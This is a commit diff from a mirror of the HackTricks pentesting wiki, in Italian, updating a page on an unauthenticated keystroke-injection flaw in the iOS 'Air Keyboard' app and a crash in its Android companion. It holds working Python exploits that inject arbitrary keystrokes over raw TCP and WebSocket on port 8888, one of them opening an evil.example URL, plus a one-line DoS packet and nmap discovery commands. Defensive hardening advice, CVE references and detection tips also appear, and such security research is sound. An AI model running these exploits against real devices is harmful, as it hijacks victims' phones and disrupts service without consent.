mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
db4b7e30f0
commit
ca9e5b609c
@ -1,18 +1,25 @@
|
||||
# Air Keyboard Remote Input Injection (Listener TCP non autenticato)
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
La versione iOS dell'applicazione commerciale "Air Keyboard" (ID App Store 6463187929) apre un **servizio TCP in chiaro sulla porta 8888** che accetta frame di tasti **senza alcuna autenticazione**. Qualsiasi dispositivo sulla stessa rete Wi-Fi può connettersi a quella porta e iniettare input da tastiera arbitrari nel telefono della vittima, ottenendo **un completo dirottamento dell'interazione remota**.
|
||||
La versione iOS dell'applicazione commerciale **“Air Keyboard”** (App Store ID 6463187929) espone un servizio di rete locale che **accetta frame di tasti senza alcuna autenticazione o verifica dell'origine**. A seconda della versione installata, il servizio è:
|
||||
|
||||
Una build Android complementare ascolta sulla **porta 55535**. Esegue un debole handshake AES-ECB, ma dati malformati causano un **eccezione non gestita nella routine di decrittazione OpenSSL**, causando il crash del servizio in background (**DoS**).
|
||||
* **≤ 1.0.4** – listener TCP raw su **porta 8888** che si aspetta un'intestazione di lunghezza di 2 byte seguita da un *device-id* e dal payload ASCII.
|
||||
* **≥ 1.0.5 (Giugno 2025)** – listener **WebSocket** sulla *stessa* porta (**8888**) che analizza chiavi **JSON** come `{"type":1,"text":"…"}`.
|
||||
|
||||
## 1. Scoperta del Servizio
|
||||
Qualsiasi dispositivo sulla stessa rete Wi-Fi / subnet può quindi **iniettare input da tastiera arbitrario nel telefono della vittima, ottenendo un completo dirottamento dell'interazione remota**. Una build Android companion ascolta sulla **porta 55535**. Esegue un debole handshake AES-ECB, ma dati malformati causano comunque un'**eccezione non gestita all'interno di OpenSSL**, causando il crash del servizio in background (**DoS**).
|
||||
|
||||
> La vulnerabilità è **ancora non corretta al momento della scrittura (Luglio 2025)** e l'applicazione rimane disponibile nell'App Store.
|
||||
|
||||
---
|
||||
|
||||
## 1. Service Discovery
|
||||
|
||||
Scansiona la rete locale e cerca le due porte fisse utilizzate dalle app:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
# iOS (unauthenticated input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
@ -20,72 +27,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Su dispositivi Android puoi identificare il pacchetto responsabile localmente:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Formato del Frame (iOS)
|
||||
Su **iOS jailbroken** puoi fare qualcosa di simile con `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||
|
||||
Il binario rivela la seguente logica di parsing all'interno della routine `handleInputFrame()`:
|
||||
---
|
||||
|
||||
## 2. Dettagli del Protocollo (iOS)
|
||||
|
||||
### 2.1 Legacy (≤ 1.0.4) – frame binari personalizzati
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
La lunghezza dichiarata include il byte `device_id` **ma non** l'intestazione di due byte stessa.
|
||||
La *lunghezza* dichiarata include il byte `device_id` **ma non** l'intestazione di due byte stessa.
|
||||
|
||||
## 3. Exploitation PoC
|
||||
### 2.2 Corrente (≥ 1.0.5) – JSON su WebSocket
|
||||
|
||||
La versione 1.0.5 è stata silenziosamente migrata a WebSocket mantenendo invariato il numero di porta. Un colpo di tasti minimo appare come:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
"text": "open -a Calculator\n",
|
||||
"mode": 0,
|
||||
"shiftKey": false,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}
|
||||
```
|
||||
Nessuna handshake, token o firma è richiesta – il primo oggetto JSON attiva già l'evento UI.
|
||||
|
||||
---
|
||||
|
||||
## 3. Sfruttamento PoC
|
||||
|
||||
### 3.1 Targeting ≤ 1.0.4 (raw TCP)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
Qualsiasi ASCII stampabile (inclusi `\n`, `\r`, tasti speciali, ecc.) può essere inviato, concedendo effettivamente all'attaccante lo stesso potere dell'input utente fisico: avviare app, inviare messaggi, visitare URL di phishing, ecc.
|
||||
### 3.2 Targeting ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
import json, sys, websocket # `pip install websocket-client`
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||
ws.send(json.dumps({
|
||||
"type": 1,
|
||||
"text": "https://evil.example\n",
|
||||
"mode": 0,
|
||||
"shiftKey": False,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}))
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*Qualsiasi ASCII stampabile — inclusi i ritorni a capo, i tab e la maggior parte dei tasti speciali — può essere inviato, dando all'attaccante lo stesso potere dell'input utente fisico: avviare app, inviare messaggi, aprire URL malevoli, attivare impostazioni, ecc.*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
La porta Android (55535) si aspetta una password di 4 caratteri crittografata con una **chiave AES-128-ECB hard-coded** seguita da un nonce casuale. Gli errori di parsing risalgono a `AES_decrypt()` e non vengono catturati, terminando il thread del listener. Un singolo pacchetto malformato è quindi sufficiente per mantenere gli utenti legittimi disconnessi fino a quando il processo non viene rilanciato.
|
||||
La porta Android (55535) si aspetta una **password di 4 caratteri crittografata con una chiave AES-128-ECB hard-coded** seguita da un nonce casuale. Gli errori di parsing si propagano a `AES_decrypt()` e non vengono catturati, terminando il thread dell'ascoltatore. Un singolo pacchetto malformato è quindi sufficiente per mantenere gli utenti legittimi disconnessi fino a quando il processo non viene rilanciato.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Causa Principale
|
||||
---
|
||||
|
||||
## 5. App correlate – Un anti-pattern ricorrente
|
||||
|
||||
Air Keyboard **non è un caso isolato**. Altri strumenti mobili “tastiera/mouse remoto” sono stati rilasciati con lo stesso difetto:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 consentono l'esecuzione di comandi non autenticati e il key-logging in chiaro.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE non autenticato e traffico di sorveglianza.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 default-no-password, brute-force di PIN deboli e perdita di dati in chiaro.
|
||||
|
||||
Questi casi evidenziano una trascuratezza sistemica delle **superfici di attacco esposte in rete sulle app mobili**.
|
||||
|
||||
---
|
||||
|
||||
## 6. Cause principali
|
||||
|
||||
1. **Nessun controllo di origine / integrità** sui frame in arrivo (iOS).
|
||||
2. **Uso improprio della crittografia** (chiave statica, ECB, mancanza di validazione della lunghezza) e **mancanza di gestione delle eccezioni** (Android).
|
||||
3. **Autorizzazione di rete locale concessa dall'utente ≠ sicurezza** – iOS richiede consenso in tempo reale per il traffico LAN, ma non sostituisce una corretta autenticazione.
|
||||
|
||||
## 6. Mitigazioni e Idee di Indurimento
|
||||
---
|
||||
|
||||
* Non esporre mai servizi non autenticati su un dispositivo mobile.
|
||||
* Derivare segreti per dispositivo durante l'onboarding e verificarli prima di elaborare l'input.
|
||||
* Legare il listener a `127.0.0.1` e utilizzare un trasporto crittografato e autenticato reciprocamente (ad es., TLS, Noise) per il controllo remoto.
|
||||
* Rilevare porte aperte inaspettate durante le revisioni di sicurezza mobile (`netstat`, `lsof`, `frida-trace` su `socket()` ecc.).
|
||||
* Come utente finale: disinstallare Air Keyboard o utilizzarlo solo su reti Wi-Fi fidate e isolate.
|
||||
## 7. Indurimento e misure difensive
|
||||
|
||||
## Scheda di Rilevamento (Pentester)
|
||||
Raccomandazioni per gli sviluppatori:
|
||||
|
||||
* Associare il listener a **`127.0.0.1`** e tunnelizzare tramite **mTLS** o **Noise XX** se è necessario il controllo remoto.
|
||||
* Derivare **segreti per dispositivo durante l'onboarding** (ad es., codice QR o PIN di accoppiamento) e imporre *autenticazione reciproca* prima di elaborare l'input.
|
||||
* Adottare **Apple Network Framework** con *NWListener* + TLS invece di socket raw.
|
||||
* Implementare **controlli di sanità del prefisso di lunghezza** e gestione delle eccezioni strutturate durante la decrittazione o decodifica dei frame.
|
||||
|
||||
Vittorie rapide per Blue-/Red-Team:
|
||||
|
||||
* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` o filtro Wireshark `tcp.port == 8888`.
|
||||
* **Ispezione in tempo reale:** script Frida che aggancia `socket()`/`NWConnection` per elencare listener inaspettati.
|
||||
* **Rapporto sulla privacy delle app iOS (Impostazioni ▸ Privacy e Sicurezza ▸ Rapporto sulla privacy delle app)** evidenzia le app che contattano indirizzi LAN – utile per individuare servizi non autorizzati.
|
||||
* **Mobile EDRs** possono aggiungere semplici regole Yara-L per le chiavi JSON `"selectionStart"`, `"selectionEnd"` all'interno dei payload TCP in chiaro sulla porta 8888.
|
||||
|
||||
---
|
||||
|
||||
## Scheda di rilevamento (Pentester)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
| awk '/Ports/{print $2 " " $4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Vulnerabilità di Iniezione di Input Remoto nell'App Air Keyboard iOS Ancora Non Risolta](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Avviso CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (17 Lug 2025) – Vulnerabilità di Remote Input Injection nell'App Air Keyboard iOS ancora non corretta](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user